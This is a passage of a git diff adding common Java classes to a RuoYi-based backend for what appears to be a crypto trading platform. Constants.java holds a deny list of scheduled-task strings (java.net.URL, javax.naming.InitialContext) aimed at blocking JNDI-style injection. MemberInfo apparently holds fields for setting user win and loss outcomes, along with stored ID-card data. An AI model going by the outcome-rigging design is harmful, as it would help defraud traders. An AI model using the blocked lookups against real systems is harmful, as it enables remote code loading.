RECHARGE_KEY_BOT = "recharge_key_bot"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java new file mode 100644 index 0000000..8c1d99a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java @@ -0,0 +1,142 @@ +package com.ruoyi.common.constant; + +import io.jsonwebtoken.Claims; + +/** + * 通用常量信息 + * + * @author ruoyi + */ +public class Constants +{ + /** + * UTF-8 字符集 + */ + public static final String UTF8 = "UTF-8"; + + /** + * GBK 字符集 + */ + public static final String GBK = "GBK"; + + /** + * www主域 + */ + public static final String WWW = "www."; + + /** + * http请求 + */ + public static final String HTTP = "http://"; + + /** + * https请求 + */ + public static final String HTTPS = "https://"; + + /** + * 通用成功标识 + */ + public static final String SUCCESS = "0"; + + /** + * 通用失败标识 + */ + public static final String FAIL = "1"; + + /** + * 登录成功 + */ + public static final String LOGIN_SUCCESS = "Success"; + + /** + * 注销 + */ + public static final String LOGOUT = "Logout"; + + /** + * 注册 + */ + public static final String REGISTER = "Register"; + + /** + * 登录失败 + */ + public static final String LOGIN_FAIL = "Error"; + + /** + * 验证码有效期(分钟) + */ + public static final Integer CAPTCHA_EXPIRATION = 2; + + /** + * 令牌 + */ + public static final String TOKEN = "token"; + + /** + * 令牌前缀 + */ + public static final String TOKEN_PREFIX = "Bearer "; + + /** + * 令牌前缀 + */ + public static final String LOGIN_USER_KEY = "login_user_key"; + + /** + * 用户ID + */ + public static final String JWT_USERID = "userid"; + + /** + * 用户名称 + */ + public static final String JWT_USERNAME = Claims.SUBJECT; + + /** + * 用户头像 + */ + public static final String JWT_AVATAR = "avatar"; + + /** + * 创建时间 + */ + public static final String JWT_CREATED = "created"; + + /** + * 用户权限 + */ + public static final String JWT_AUTHORITIES = "authorities"; + + /** + * 资源映射路径 前缀 + */ + public static final String RESOURCE_PREFIX = "/profile"; + + /** + * RMI 远程方法调用 + */ + public static final String LOOKUP_RMI = "rmi:"; + + /** + * LDAP 远程方法调用 + */ + public static final String LOOKUP_LDAP = "ldap:"; + + /** + * LDAPS 远程方法调用 + */ + public static final String LOOKUP_LDAPS = "ldaps:"; + + /** + * 定时任务白名单配置(仅允许访问的包名,如其他需要可以自行添加) + */ + public static final String[] JOB_WHITELIST_STR = { "com.ruoyi" }; + + /** + * 定时任务违规的字符 + */ + public static final String[] JOB_ERROR_STR = { "java.net.URL", "javax.naming.InitialContext", "org.yaml.snakeyaml", + "org.springframework", "org.apache", "com.ruoyi.common.utils.file", "com.ruoyi.common.config" }; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java new file mode 100644 index 0000000..7d899d4 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/GenConstants.java @@ -0,0 +1,117 @@ +package com.ruoyi.common.constant; + +/** + * 代码生成通用常量 + * + * @author ruoyi + */ +public class GenConstants +{ + /** 单表(增删改查) */ + public static final String TPL_CRUD = "crud"; + + /** 树表(增删改查) */ + public static final String TPL_TREE = "tree"; + + /** 主子表(增删改查) */ + public static final String TPL_SUB = "sub"; + + /** 树编码字段 */ + public static final String TREE_CODE = "treeCode"; + + /** 树父编码字段 */ + public static final String TREE_PARENT_CODE = "treeParentCode"; + + /** 树名称字段 */ + public static final String TREE_NAME = "treeName"; + + /** 上级菜单ID字段 */ + public static final String PARENT_MENU_ID = "parentMenuId"; + + /** 上级菜单名称字段 */ + public static final String PARENT_MENU_NAME = "parentMenuName"; + + /** 数据库字符串类型 */ + public static final String[] COLUMNTYPE_STR = { "char", "varchar", "nvarchar", "varchar2" }; + + /** 数据库文本类型 */ + public static final String[] COLUMNTYPE_TEXT = { "tinytext", "text", "mediumtext", "longtext" }; + + /** 数据库时间类型 */ + public static final String[] COLUMNTYPE_TIME = { "datetime", "time", "date", "timestamp" }; + + /** 数据库数字类型 */ + public static final String[] COLUMNTYPE_NUMBER = { "tinyint", "smallint", "mediumint", "int", "number", "integer", + "bit", "bigint", "float", "double", "decimal" }; + + /** 页面不需要编辑字段 */ + public static final String[] COLUMNNAME_NOT_EDIT = { "id", "create_by", "create_time", "del_flag" }; + + /** 页面不需要显示的列表字段 */ + public static final String[] COLUMNNAME_NOT_LIST = { "id", "create_by", "create_time", "del_flag", "update_by", + "update_time" }; + + /** 页面不需要查询字段 */ + public static final String[] COLUMNNAME_NOT_QUERY = { "id", "create_by", "create_time", "del_flag", "update_by", + "update_time", "remark" }; + + /** Entity基类字段 */ + public static final String[] BASE_ENTITY = { "createBy", "createTime", "updateBy", "updateTime", "remark" }; + + /** Tree基类字段 */ + public static final String[] TREE_ENTITY = { "parentName", "parentId", "orderNum", "ancestors", "children" }; + + /** 文本框 */ + public static final String HTML_INPUT = "input"; + + /** 文本域 */ + public static final String HTML_TEXTAREA = "textarea"; + + /** 下拉框 */ + public static final String HTML_SELECT = "select"; + + /** 单选框 */ + public static final String HTML_RADIO = "radio"; + + /** 复选框 */ + public static final String HTML_CHECKBOX = "checkbox"; + + /** 日期控件 */ + public static final String HTML_DATETIME = "datetime"; + + /** 图片上传控件 */ + public static final String HTML_IMAGE_UPLOAD = "imageUpload"; + + /** 文件上传控件 */ + public static final String HTML_FILE_UPLOAD = "fileUpload"; + + /** 富文本控件 */ + public static final String HTML_EDITOR = "editor"; + + /** 字符串类型 */ + public static final String TYPE_STRING = "String"; + + /** 整型 */ + public static final String TYPE_INTEGER = "Integer"; + + /** 长整型 */ + public static final String TYPE_LONG = "Long"; + + /** 浮点型 */ + public static final String TYPE_DOUBLE = "Double"; + + /** 高精度计算类型 */ + public static final String TYPE_BIGDECIMAL = "BigDecimal"; + + /** 时间类型 */ + public static final String TYPE_DATE = "Date"; + + /** 模糊查询 */ + public static final String QUERY_LIKE = "LIKE"; + + /** 相等查询 */ + public static final String QUERY_EQ = "EQ"; + + /** 需要 */ + public static final String REQUIRE = "1"; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java new file mode 100644 index 0000000..a983c77 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/HttpStatus.java @@ -0,0 +1,94 @@ +package com.ruoyi.common.constant; + +/** + * 返回状态码 + * + * @author ruoyi + */ +public class HttpStatus +{ + /** + * 操作成功 + */ + public static final int SUCCESS = 200; + + /** + * 对象创建成功 + */ + public static final int CREATED = 201; + + /** + * 请求已经被接受 + */ + public static final int ACCEPTED = 202; + + /** + * 操作已经执行成功,但是没有返回数据 + */ + public static final int NO_CONTENT = 204; + + /** + * 资源已被移除 + */ + public static final int MOVED_PERM = 301; + + /** + * 重定向 + */ + public static final int SEE_OTHER = 303; + + /** + * 资源没有被修改 + */ + public static final int NOT_MODIFIED = 304; + + /** + * 参数列表错误(缺少,格式不匹配) + */ + public static final int BAD_REQUEST = 400; + + /** + * 未授权 + */ + public static final int UNAUTHORIZED = 401; + + /** + * 访问受限,授权过期 + */ + public static final int FORBIDDEN = 403; + + /** + * 资源,服务未找到 + */ + public static final int NOT_FOUND = 404; + + /** + * 不允许的http方法 + */ + public static final int BAD_METHOD = 405; + + /** + * 资源冲突,或者资源被锁 + */ + public static final int CONFLICT = 409; + + /** + * 不支持的数据,媒体类型 + */ + public static final int UNSUPPORTED_TYPE = 415; + + /** + * 系统内部错误 + */ + public static final int ERROR = 500; + + /** + * 接口未实现 + */ + public static final int NOT_IMPLEMENTED = 501; + + /** + * 系统警告消息 + */ + public static final int WARN = 601; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java new file mode 100644 index 0000000..62ad815 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/ScheduleConstants.java @@ -0,0 +1,50 @@ +package com.ruoyi.common.constant; + +/** + * 任务调度通用常量 + * + * @author ruoyi + */ +public class ScheduleConstants +{ + public static final String TASK_CLASS_NAME = "TASK_CLASS_NAME"; + + /** 执行目标key */ + public static final String TASK_PROPERTIES = "TASK_PROPERTIES"; + + /** 默认 */ + public static final String MISFIRE_DEFAULT = "0"; + + /** 立即触发执行 */ + public static final String MISFIRE_IGNORE_MISFIRES = "1"; + + /** 触发一次执行 */ + public static final String MISFIRE_FIRE_AND_PROCEED = "2"; + + /** 不触发立即执行 */ + public static final String MISFIRE_DO_NOTHING = "3"; + + public enum Status + { + /** + * 正常 + */ + NORMAL("0"), + /** + * 暂停 + */ + PAUSE("1"); + + private String value; + + private Status(String value) + { + this.value = value; + } + + public String getValue() + { + return value; + } + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java new file mode 100644 index 0000000..96b149c --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/constant/UserConstants.java @@ -0,0 +1,78 @@ +package com.ruoyi.common.constant; + +/** + * 用户常量信息 + * + * @author ruoyi + */ +public class UserConstants +{ + /** + * 平台内系统用户的唯一标志 + */ + public static final String SYS_USER = "SYS_USER"; + + /** 正常状态 */ + public static final String NORMAL = "0"; + + /** 异常状态 */ + public static final String EXCEPTION = "1"; + + /** 用户封禁状态 */ + public static final String USER_DISABLE = "1"; + + /** 角色封禁状态 */ + public static final String ROLE_DISABLE = "1"; + + /** 部门正常状态 */ + public static final String DEPT_NORMAL = "0"; + + /** 部门停用状态 */ + public static final String DEPT_DISABLE = "1"; + + /** 字典正常状态 */ + public static final String DICT_NORMAL = "0"; + + /** 是否为系统默认(是) */ + public static final String YES = "Y"; + + /** 是否菜单外链(是) */ + public static final String YES_FRAME = "0"; + + /** 是否菜单外链(否) */ + public static final String NO_FRAME = "1"; + + /** 菜单类型(目录) */ + public static final String TYPE_DIR = "M"; + + /** 菜单类型(菜单) */ + public static final String TYPE_MENU = "C"; + + /** 菜单类型(按钮) */ + public static final String TYPE_BUTTON = "F"; + + /** Layout组件标识 */ + public final static String LAYOUT = "Layout"; + + /** ParentView组件标识 */ + public final static String PARENT_VIEW = "ParentView"; + + /** InnerLink组件标识 */ + public final static String INNER_LINK = "InnerLink"; + + /** 校验是否唯一的返回标识 */ + public final static boolean UNIQUE = true; + public final static boolean NOT_UNIQUE = false; + + /** + * 用户名长度限制 + */ + public static final int USERNAME_MIN_LENGTH = 2; + public static final int USERNAME_MAX_LENGTH = 20; + + /** + * 密码长度限制 + */ + public static final int PASSWORD_MIN_LENGTH = 5; + public static final int PASSWORD_MAX_LENGTH = 20; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java new file mode 100644 index 0000000..74ae50d --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/controller/BaseController.java @@ -0,0 +1,210 @@ +package com.ruoyi.common.core.controller; + +import java.beans.PropertyEditorSupport; +import java.util.Date; +import java.util.List; + +import cn.dev33.satoken.stp.StpUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; +import com.github.pagehelper.PageHelper; +import com.github.pagehelper.PageInfo; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.PageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.sql.SqlUtil; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + +/** + * web层通用数据处理 + * + * @author ruoyi + */ +public class BaseController +{ + protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + /** + * 将前台传递过来的日期格式的字符串,自动转化为Date类型 + */ + @InitBinder + public void initBinder(WebDataBinder binder) + { + // Date 类型转换 + binder.registerCustomEditor(Date.class, new PropertyEditorSupport() + { + @Override + public void setAsText(String text) + { + setValue(DateUtils.parseDate(text)); + } + }); + } + + /** + * 设置请求分页数据 + */ + protected void startPage() + { + PageUtils.startPage(); + } + + /** + * 设置请求排序数据 + */ + protected void startOrderBy() + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) + { + String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + PageHelper.orderBy(orderBy); + } + } + + /** + * 清理分页的线程变量 + */ + protected void clearPage() + { + PageUtils.clearPage(); + } + + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + + /** + * 返回成功 + */ + public AjaxResult success() + { + return AjaxResult.success(); + } + + /** + * 返回失败消息 + */ + public AjaxResult error() + { + return AjaxResult.error(); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(String message) + { + return AjaxResult.success(message); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(Object data) + { + return AjaxResult.success(data); + } + + /** + * 返回失败消息 + */ + public AjaxResult error(String message) + { + return AjaxResult.error(message); + } + + /** + * 返回警告消息 + */ + public AjaxResult warn(String message) + { + return AjaxResult.warn(message); + } + + /** + * 响应返回结果 + * + * @param rows 影响行数 + * @return 操作结果 + */ + protected AjaxResult toAjax(int rows) + { + return rows > 0 ? AjaxResult.success() : AjaxResult.error(); + } + + /** + * 响应返回结果 + * + * @param result 结果 + * @return 操作结果 + */ + protected AjaxResult toAjax(boolean result) + { + return result ? success() : error(); + } + + /** + * 页面跳转 + */ + public String redirect(String url) + { + return StringUtils.format("redirect:{}", url); + } + + /** + * admin + * 获取用户缓存信息 + */ + public LoginUser getLoginUser() + { + return SecurityUtils.getLoginUser(); + } + + + /** + * 获取登录用户id + */ + public Long getUserId() + { + return getLoginUser().getUserId(); + } + + /** + * 获取登录部门id + */ + public Long getDeptId() + { + return getLoginUser().getDeptId(); + } + + /** + * 获取登录用户名 + */ + public String getUsername() + { + return getLoginUser().getUsername(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java new file mode 100644 index 0000000..65d9352 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/AjaxResult.java @@ -0,0 +1,218 @@ +package com.ruoyi.common.core.domain; + +import java.util.HashMap; +import java.util.Objects; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; + +/** + * 操作消息提醒 + * + * @author ruoyi + */ +public class AjaxResult extends HashMap +{ + private static final long serialVersionUID = 1L; + + /** 状态码 */ + public static final String CODE_TAG = "code"; + + /** 返回内容 */ + public static final String MSG_TAG = "msg"; + + /** 数据对象 */ + public static final String DATA_TAG = "data"; + + /** + * 初始化一个新创建的 AjaxResult 对象,使其表示一个空消息。 + */ + public AjaxResult() + { + } + + /** + * 初始化一个新创建的 AjaxResult 对象 + * + * @param code 状态码 + * @param msg 返回内容 + */ + public AjaxResult(int code, String msg) + { + super.put(CODE_TAG, code); + super.put(MSG_TAG, msg); + } + + /** + * 初始化一个新创建的 AjaxResult 对象 + * + * @param code 状态码 + * @param msg 返回内容 + * @param data 数据对象 + */ + public AjaxResult(int code, String msg, Object data) + { + super.put(CODE_TAG, code); + super.put(MSG_TAG, msg); + if (StringUtils.isNotNull(data)) + { + super.put(DATA_TAG, data); + } + } + + /** + * 返回成功消息 + * + * @return 成功消息 + */ + public static AjaxResult success() + { + //return AjaxResult.success("操作成功"); + return AjaxResult.success(MessageUtils.message("user.ops.status")); + } + + /** + * 返回成功数据 + * + * @return 成功消息 + */ + public static AjaxResult success(Object data) + { + return AjaxResult.success("操作成功", data); + } + + /** + * 返回成功消息 + * + * @param msg 返回内容 + * @return 成功消息 + */ + public static AjaxResult success(String msg) + { + return AjaxResult.success(msg, null); + } + + /** + * 返回成功消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 成功消息 + */ + public static AjaxResult success(String msg, Object data) + { + return new AjaxResult(HttpStatus.SUCCESS, msg, data); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @return 警告消息 + */ + public static AjaxResult warn(String msg) + { + return AjaxResult.warn(msg, null); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 警告消息 + */ + public static AjaxResult warn(String msg, Object data) + { + return new AjaxResult(HttpStatus.WARN, msg, data); + } + + /** + * 返回错误消息 + * + * @return 错误消息 + */ + public static AjaxResult error() + { + return AjaxResult.error("操作失败"); + } + + /** + * 返回错误消息 + * + * @param msg 返回内容 + * @return 错误消息 + */ + public static AjaxResult error(String msg) + { + return AjaxResult.error(msg, null); + } + + /** + * 返回错误消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 错误消息 + */ + public static AjaxResult error(String msg, Object data) + { + return new AjaxResult(HttpStatus.ERROR, msg, data); + } + + /** + * 返回错误消息 + * + * @param code 状态码 + * @param msg 返回内容 + * @return 错误消息 + */ + public static AjaxResult error(int code, String msg) + { + return new AjaxResult(code, msg, null); + } + + /** + * 是否为成功消息 + * + * @return 结果 + */ + public boolean isSuccess() + { + return Objects.equals(HttpStatus.SUCCESS, this.get(CODE_TAG)); + } + + /** + * 是否为警告消息 + * + * @return 结果 + */ + public boolean isWarn() + { + return Objects.equals(HttpStatus.WARN, this.get(CODE_TAG)); + } + + /** + * 是否为错误消息 + * + * @return 结果 + */ + public boolean isError() + { + return Objects.equals(HttpStatus.ERROR, this.get(CODE_TAG)); + } + + /** + * 方便链式调用 + * + * @param key 键 + * @param value 值 + * @return 数据对象 + */ + @Override + public AjaxResult put(String key, Object value) + { + super.put(key, value); + return this; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java new file mode 100644 index 0000000..86d6659 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/BaseEntity.java @@ -0,0 +1,141 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import java.text.DateFormat; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.ruoyi.common.annotation.Excel; +import org.apache.poi.sl.usermodel.TextRun; +import org.springframework.data.annotation.CreatedBy; +import org.springframework.data.annotation.CreatedDate; +import org.springframework.data.annotation.LastModifiedBy; +import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.format.annotation.DateTimeFormat; + + +import retrofit2.http.Field; + +/** + * Entity基类 + * + * @author ruoyi + */ +public class BaseEntity implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 搜索值 */ + @JsonIgnore + @TableField(exist=false) + private String searchValue; + + @CreatedBy + @TableField(fill = FieldFill.INSERT) + private String createBy; + + @Excel(name = "创建时间" , width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + @CreatedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + @LastModifiedBy + @TableField(fill = FieldFill.UPDATE) + private String updateBy; + + @LastModifiedDate + @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") + @TableField(fill = FieldFill.INSERT_UPDATE) + private Date updateTime; + /** 备注 */ + @Excel(name = "备注") + private String remark; + + /** 请求参数 */ + @TableField(exist=false) + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private Map params; + + public String getSearchValue() + { + return searchValue; + } + + public void setSearchValue(String searchValue) + { + this.searchValue = searchValue; + } + + public String getCreateBy() + { + return createBy; + } + + public void setCreateBy(String createBy) + { + this.createBy = createBy; + } + + public Date getCreateTime() + { + return createTime; + } + + public void setCreateTime(Date createTime) + { + this.createTime = createTime; + } + + public String getUpdateBy() + { + return updateBy; + } + + public void setUpdateBy(String updateBy) + { + this.updateBy = updateBy; + } + + public Date getUpdateTime() + { + return updateTime; + } + + public void setUpdateTime(Date updateTime) + { + this.updateTime = updateTime; + } + + public String getRemark() + { + return remark; + } + + public void setRemark(String remark) + { + this.remark = remark; + } + + public Map getParams() + { + if (params == null) + { + params = new HashMap<>(); + } + return params; + } + + public void setParams(Map params) + { + this.params = params; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java new file mode 100644 index 0000000..b64985f --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/OrderBySetting.java @@ -0,0 +1,5 @@ +package com.ruoyi.common.core.domain; + +public class OrderBySetting { + public static String value = ""; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java new file mode 100644 index 0000000..ef15802 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/R.java @@ -0,0 +1,115 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import com.ruoyi.common.constant.HttpStatus; + +/** + * 响应信息主体 + * + * @author ruoyi + */ +public class R implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 成功 */ + public static final int SUCCESS = HttpStatus.SUCCESS; + + /** 失败 */ + public static final int FAIL = HttpStatus.ERROR; + + private int code; + + private String msg; + + private T data; + + public static R ok() + { + return restResult(null, SUCCESS, "操作成功"); + } + + public static R ok(T data) + { + return restResult(data, SUCCESS, "操作成功"); + } + + public static R ok(T data, String msg) + { + return restResult(data, SUCCESS, msg); + } + + public static R fail() + { + return restResult(null, FAIL, "操作失败"); + } + + public static R fail(String msg) + { + return restResult(null, FAIL, msg); + } + + public static R fail(T data) + { + return restResult(data, FAIL, "操作失败"); + } + + public static R fail(T data, String msg) + { + return restResult(data, FAIL, msg); + } + + public static R fail(int code, String msg) + { + return restResult(null, code, msg); + } + + private static R restResult(T data, int code, String msg) + { + R apiResult = new R<>(); + apiResult.setCode(code); + apiResult.setData(data); + apiResult.setMsg(msg); + return apiResult; + } + + public int getCode() + { + return code; + } + + public void setCode(int code) + { + this.code = code; + } + + public String getMsg() + { + return msg; + } + + public void setMsg(String msg) + { + this.msg = msg; + } + + public T getData() + { + return data; + } + + public void setData(T data) + { + this.data = data; + } + + public static Boolean isError(R ret) + { + return !isSuccess(ret); + } + + public static Boolean isSuccess(R ret) + { + return R.SUCCESS == ret.getCode(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java new file mode 100644 index 0000000..a180a18 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeEntity.java @@ -0,0 +1,79 @@ +package com.ruoyi.common.core.domain; + +import java.util.ArrayList; +import java.util.List; + +/** + * Tree基类 + * + * @author ruoyi + */ +public class TreeEntity extends BaseEntity +{ + private static final long serialVersionUID = 1L; + + /** 父菜单名称 */ + private String parentName; + + /** 父菜单ID */ + private Long parentId; + + /** 显示顺序 */ + private Integer orderNum; + + /** 祖级列表 */ + private String ancestors; + + /** 子部门 */ + private List children = new ArrayList<>(); + + public String getParentName() + { + return parentName; + } + + public void setParentName(String parentName) + { + this.parentName = parentName; + } + + public Long getParentId() + { + return parentId; + } + + public void setParentId(Long parentId) + { + this.parentId = parentId; + } + + public Integer getOrderNum() + { + return orderNum; + } + + public void setOrderNum(Integer orderNum) + { + this.orderNum = orderNum; + } + + public String getAncestors() + { + return ancestors; + } + + public void setAncestors(String ancestors) + { + this.ancestors = ancestors; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java new file mode 100644 index 0000000..bd835db --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/TreeSelect.java @@ -0,0 +1,77 @@ +package com.ruoyi.common.core.domain; + +import java.io.Serializable; +import java.util.List; +import java.util.stream.Collectors; +import com.fasterxml.jackson.annotation.JsonInclude; +import com.ruoyi.common.core.domain.entity.SysDept; +import com.ruoyi.common.core.domain.entity.SysMenu; + +/** + * Treeselect树结构实体类 + * + * @author ruoyi + */ +public class TreeSelect implements Serializable +{ + private static final long serialVersionUID = 1L; + + /** 节点ID */ + private Long id; + + /** 节点名称 */ + private String label; + + /** 子节点 */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + private List children; + + public TreeSelect() + { + + } + + public TreeSelect(SysDept dept) + { + this.id = dept.getDeptId(); + this.label = dept.getDeptName(); + this.children = dept.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + public TreeSelect(SysMenu menu) + { + this.id = menu.getMenuId(); + this.label = menu.getMenuName(); + this.children = menu.getChildren().stream().map(TreeSelect::new).collect(Collectors.toList()); + } + + public Long getId() + { + return id; + } + + public void setId(Long id) + { + this.id = id; + } + + public String getLabel() + { + return label; + } + + public void setLabel(String label) + { + this.label = label; + } + + public List getChildren() + { + return children; + } + + public void setChildren(List children) + { + this.children = children; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java new file mode 100644 index 0000000..1efba9a --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/MemberInfo.java @@ -0,0 +1,185 @@ +package com.ruoyi.common.core.domain.entity; + +import com.alibaba.fastjson2.annotation.JSONField; +import com.fasterxml.jackson.annotation.JsonIgnore; +import com.ruoyi.common.annotation.Excel; +import lombok.Data; +import org.springframework.data.annotation.Transient; + +import java.math.BigDecimal; +import java.util.Date; + +@Data +public class MemberInfo { + + + private static final long serialVersionUID = 1L; + private Long userId; + private String userName; + /** + * 登录账号 + */ + private String loginName; + /** + * 登录密码 + */ + private String loginPassword; + @Excel(name = "地址", width = 40) + private String address; + + @Excel(name = "地址类型") + private String walletType; + + @Excel(name = "总代理id", width = 40) + private Long ancestorId; + + @Excel(name = "总代理地址", width = 40) + private String ancestorAddr; + + @Excel(name = "上级ID", width = 40) + private String fatherAddr; + private Long fatherId; + + @Excel(name = "客服ID") + private Long customerId; + @JSONField(serialize = false) + private String salt; + private String password; + //0正常1冻结 + @Excel(name = "状态", readConverterExp = "0=正常,1=冻结") + private Integer status; + @Excel(name = "注册IP", type = Excel.Type.EXPORT) + private String loginIp; + @Excel(name = "最后登录时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + private Date loginTime; + + private String tree; + + //邀请码,六位 + private String activeCode; + + @JsonIgnore + private Integer online; + + @Excel(name = "注册ip") + private String registerIp; + + @Excel(name = "注册时间", width = 30, dateFormat = "yyyy-MM-dd HH:mm:ss", type = Excel.Type.EXPORT) + private Date registerTime; + + // @Excel(name = "host") + private String host; + + @Excel(name = "deviceId") + private String deviceId; + + /** + * 是否绑定密码 0 未绑定 1 绑定 + */ + private Integer ifBind; + + /** + * 后台用户id + */ + private Long adminUserId; + + @Transient + private BigDecimal usdtMonitor; + private BigDecimal poolAmount; + private Integer bindKyc;// 绑定身份证信息. 0 未绑定 1 绑定 + + private String realName;//真实姓名 + + private String idCard;//身份证号 + + private String frontUrl; //正面图片地址 + + private String backUrl;//反面图片地址 + + private String country; //国籍 + + + //0 正常用户 1 试验用户 + private Integer isTest; + + //隐藏授权 0 正常 1 隐藏 + private Integer hideAuth; + + //验证码 + @Transient + private String code; + //更新前地址 + @Transient + private String addressOld; + + //连赢场次 + private Integer winNum; + + //连输 + private Integer loseNum; + //买涨包赢的次数 + private Integer riseWin; + //买输包赢的次数 + private Integer fallWin; + @Transient + //赢的概率 + private BigDecimal winPprobability; + @Transient + //输的概率 + private BigDecimal losePprobability; + + + private BigDecimal totalAmont; + + + /** + * 邮箱 + */ + private String email; + + + /** + * 0 未绑定 1绑定 + */ + private Integer emailKey; + + + /** + * 0 待审核 1 审核通过 2 审核不通过 + */ + private Integer auditStatu; + + /** + * 冻结 1 正常 0 + */ + private Integer froze; + + + /** + * 信用分 + */ + private Integer credits; + + /** + * 地址 + */ + private String ipAdd; + + @Transient + private String signType; + + @Transient + private String emailCode; + //交易是否被限制 1 为限制 + private Integer tradeFlag; + //金额是否被限制 1 为限制 + private Integer amountFlag; + //金额限制提示语 + private String pushMessage; + //交易限制提示语 + private String tradeMessage; + //手持照片 + private String handleUrl; + //证件类型 + private String cardType; +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java 